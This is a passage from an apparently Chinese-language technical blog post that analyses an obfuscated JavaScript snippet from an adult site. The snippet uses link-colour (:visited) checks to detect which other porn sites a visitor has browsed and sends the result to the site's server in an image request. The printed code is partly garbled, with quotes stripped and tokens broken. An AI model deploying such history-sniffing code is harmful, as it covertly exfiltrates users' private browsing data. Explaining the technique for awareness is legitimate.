打开它的“页面源文件”,你能找到一段加密过的js脚本:
复制代码 代码如下:
function ypol(){
//k是一个对象,实际上是一个数组。存了一堆加密过的pr*n站链接。
var k={0:qpsoivc/dpn,1:sfeuvcf/dpn,2:bevmugsjfoeg joefs/dpn,3:ywjefpt/dpn,4:uvcf9/dpn,5:yoyy/d pn,6:nfhbqpso/dpn,7:nfhbspujd/dpn,8:yibntufs /dpn,9:bxfnqjsf/dpn,10:sfbmjuzljoht/dpn,11:c sb{{fst/dpn,12:yuvcf/dpn,13:cbohcspt2/dpn,14: gmjoh/dpn,15:gsffpoft/dpn,16:nzgsffqbztjuf/dp n,17:efcpobjscmph/dpn,18:qbztfswf/dpn,19:nby qpso/dpn,20:wjefpt{/dpn,21:bfco/ofu,22:qpsop sbnb/dpn};
var g=[];
for(var m in k){
var d=k[m]; //遍历k中的元素赋值给d
var a=;
for(var f=0;fa+=string.fromcharcode(d.charcodeat(f)-1);
}/* 这里把d中的每一条字符都还原了。
* charcodeat(char) 函数返回char的ascii码
* string.fromcharcode(asccii) 返回ascii码对应的字符
* 然后把结果赋值给a
* 比如第一次循环,a的值就是 qpsoivc/dpn -> pornhub.com
*/
var h=false;
/*
* 这个循环创建a对象并让链接赋值为 http://a/ 和 http://www.a/
* 为什么要循环来2次,目的是为了准确性
* 访问 http://example.com/ 和 http://www.example.com/ 对于浏览器来说,是不同的域名
* 所以要区别对待
*/
for(var j in {http://:,http://www.:}){
var l=document.createelement(a); //创建一个a对象
l.href=j+a;
document.getelementbyid(ol).appendchild(l);
// a对象附加给一个id为ol的元素上,要附加在一个在dom树上的元素,浏览器才会render这个元素,并设置合适的css
var e=;
if(navigator.appname.indexof(microsoft)!=-1){
e=l.currentstyle.color; //取ie中a对象的颜色
}else {
e=document.defaultview.getcomputedstyle(l,null).ge tpropertyvalue(color);
//取其他标准浏览器的颜色
}
if(e==#0c2238||e==#0c2238){
/*
* 如果是紫色,就表示访问过此站点。
* 浏览器默认给访问过的链接标记为紫色
* a:visited{color: #123456}
*/
h=true;
}
}
if(h){ //如果访问过,把站点加入列表g
g.push(m);
}
}
var b=(g instanceof array)?g.join(,):; //把g由数组变成字符串
var c=document.createelement(img); //建立一个img对象
c.src=http://ol.youporn.com/blank.gif?id=+b; //img的src指向自家服务器上的一幅图像,关键是附带上了g数组的值
document.getelementbyid(ol).appendchild(c); //加入dom树,理由跟前面的a一样
/*
* 以一次图片访问,在web-server